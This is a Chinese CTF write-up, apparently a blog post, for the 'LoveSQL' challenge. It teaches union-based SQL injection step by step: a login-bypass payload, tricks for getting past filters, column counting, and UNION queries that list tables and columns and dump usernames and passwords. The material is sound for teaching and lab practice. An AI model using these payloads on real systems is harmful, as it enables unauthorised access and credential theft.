(SQL注入学习)联合查询注入(UNION-Based)

**摘要:**本题主要考查对联合查询注入的实战使用方法。


目录

一、题目详情

二、解题思路及原理

1、登录绕过

2、判断注入类型

(1)判断字符型还是数字型

(2)判断回显位置

3、有回显的联合查询注入(Union-Based)

(1)获取当前数据库名和用户名

(2)获取所有表名

(3)获取指定表的所有列名

(4)提取账号密码


一、题目详情

题目来源: CTF²中的"极客大挑战 2019LoveSQL"

靶机环境: 启动靶机,进入靶机链接


二、解题思路及原理

1、登录绕过

看到登录框或查询框,先用万能密码测试看看。

a、基础万能密码

  • 用户名 :1' or 1=1# (或 admin' or 1=1#)

  • 密码 :任意数字(如 123)

  • 原理:我们写的sql语句是直接插入到【where username='万能密码'】,由于有引号闭合所以要写插入语句的时候要注意引号。php会自动补全其他sql语句然后放到数据库里执行,故我们只需要写相应主要是sql语句来实现我们的目的。

    SELECT * FROM users WHERE username = '1' OR 1=1#' AND password = '123'

1=1 恒真,# 注释掉后面所有东西。因为 '1'='1' 永远为真,所以 WHERE 条件对整个表都成立,查询会返回 users 表里的所有行。

b、碰到过滤情况

复制代码
闭合引号并注释:

用户名:admin'--
密码:任意
原理:-- 也是 SQL 注释符(注意 MySQL 中 -- 后面必须跟一个空格)。适用于 # 被过滤的情况。

过滤了空格:

用 /**/ 代替空格:1'/**/or/**/1=1#
用 + 代替空格(URL 编码中):1'+or+1=1#
用括号绕过:1'||1=1# (针对特定数据库)

括号闭合绕过(针对 WHERE (username='xxx') 结构):

用户名:1') or ('1'='1
密码:任意
原理:WHERE (username='1') or ('1'='1') AND password='123'

输入万能密码:

结果如下:

2、判断注入类型

**适用情况:**不知道是数字型还是字符型,不知道有没有回显。

  • 数字型:你输入的东西直接就是 SQL 的一部分,不用管引号。

  • 字符型 :你必须先补一个引号把前面的引号闭合掉,才能继续注入。否则你的 payload 会被当成字符串内容,不生效。

(1)判断字符型还是数字型

  • 输入 1',页面正常--> 字符型注入(存在单引号闭合问题)。

  • 输入 1,页面正常--> 数字型注入(不需要单引号闭合)。

**PS:**看上面两个图片,输入的万能密码带有引号看到页面正常,可以判断是字符型注入。

(2)判断回显位置

通过上面得到的那个好像flag的数据,但是测试了发现不对,但可以判断是可以sql注入的而且输出的东西可以知道它会显示数据库查询结果(回显:你发出去的请求,服务器处理完之后,把结果"显示"回给你了。)

回显 = 你注入产生的结果,能不能在网页上直接看到。

有回显 → 用 UNION / 报错注入,直接拿数据。

无回显 → 只能盲注,靠页面反应一点点猜。

由于界面没有报错而是返回正确数据库查询结果,因此采用UNION注入。但我们还得先确定回显位置。

回显位置 = 页面上能显示注入结果的那个"坑"。

先数清有几列,再用 1,2,3 试出哪个坑能显示,最后把要查的数据塞进那个坑。

判断方式:

(a)判断有多少列

输入 1' order by 3#,页面正常;输入 1' order by 4#,页面报错 -> 说明当前表有 3 列

注:猜测当前查询结果集有多少列 ,当数字超过实际列数时,数据库会报错(如 Unknown column 'N' in 'order by'),从而推断出列数。

**原理:**假设原始 SQL 是:

复制代码
SELECT id, username, password FROM users WHERE id = '1' ORDER BY id DESC

把参数改成 1' order by 3 #,语句变成:

复制代码
SELECT id, username, password FROM users WHERE id = '1' order by 3 # DESC

# 把后面的 DESC 注释掉,order by 3 正常执行。如果 order by 4 报错,就说明表里有 3 列。

(b)判断回显位在哪

输入 1' union select 1,2,3#,观察页面上哪个数字被替换成了回显位(比如页面原本显示标题的地方变成了 2,这里的 2 不是数字本身有意义,而是"第 2 列是回显位"的标志。你写进第 2 列的什么内容,页面就会显示什么。),后面把敏感函数/字段塞到第 2 列就能读到数据。

传入 1' union select 1,2,3#:

复制代码
SELECT id, username, password FROM users WHERE id = '1' union select 1,2,3#
  • '1' 闭合了原字符串

  • union select 1,2,3 追加了一个联合查询,返回一行 (1, 2, 3)

  • # 注释掉尾部

测试如下:

(a)判断有多少列

输入 1' order by 3#

页面正常

输入 1' order by 4#

页面报错

故判断为返回的是3列

(b)判断回显位在哪

由此可知回显位是第2位和第3位

3、有回显的联合查询注入(Union-Based)

根据上面的判断,接下来我们就只需要让第2位和第3位上去使用函数或字段去获取数据了。

(1)获取当前数据库名和用户名

复制代码
' union select 1,database(),user()#

测试如下:

获取到数据库名为geek,用户名为root@localhost

(2)获取所有表名

复制代码
' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#
注:group_concat可以把多行结果拼成一行,方便显示,如果不使用的话,那么只会出现第一张表。(如果有多张表的话,后面的表不显示出来)

说明如下:

片段 作用
' 闭合前面的字符串
union select 1, ..., 3 追加一行结果,占满 3 列
group_concat(table_name) 把多行表名拼成一个字符串
from information_schema.tables 查系统表(存所有表名的地方)
where table_schema = database() 只查当前数据库的表
# 注释掉尾部

测试如下:

获得表名l0ve1ysq1

(3)获取指定表的所有列名

复制代码
' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='l0ve1ysq1'#

这里就不需要再做解释了,上面已经解释过了。

测试如下:

由此可以字段为3个为"id,username,password"

(4)提取账号密码

复制代码
' union select 1,group_concat(username,0x3a,password),3 from l0ve1ysq1#

注:0x3a 是十六进制的冒号,用于分隔用户名和密码(如:admin:123),不然账号和密码就在一起显示了(如:admin123)。为什么不用':',因为引号经常被过滤。如果不会过滤可以用":"

测试结果如下:

好了,可以明确看到flag了,终于拿到了!

相关推荐
小黄人软件1 小时前
桌面需要整理吗?有工具自动分类
学习
老衲不用@飘柔1 小时前
SFP与SFP+学习知识整理
学习
X54先生(人文科技)2 小时前
社会嵌入式终身学习机器与修复时代-ELR架构和技术演化探讨
人工智能·深度学习·学习·架构·开源协议
电子云与长程纠缠2 小时前
UE5魂系游戏开发教程05
开发语言·学习·游戏·ui·ue5
syagain_zsx3 小时前
BRpc 二次封装:Channel 管理、服务管理与回调工厂
c++·学习·程序人生·rpc·谷歌
其实防守也摸鱼3 小时前
Cylab在线靶场——CTF中的通用技能
linux·数据库·学习·算法·靶场·ctf·学习网络安全
我命由我123453 小时前
Python 开发 - Python 的 pathlib
java·开发语言·后端·python·学习·java-ee·学习方法
kkkkkkkkkk_Z4 小时前
新手自学嵌入式 | 学习日记:Linux驱动复习之系统移植(U-Boot篇)
linux·运维·学习
Rabitebla4 小时前
【系统性学习笔记】Linux 权限篇(二):文件属性、权限修改与目录权限的底层逻辑
linux·c++·笔记·学习·算法
三垣网安5 小时前
漏洞实战|高校虚拟实验平台报错型 SQL 注入漏洞复现
网络·经验分享·sql·安全·web安全·网络安全·水平越权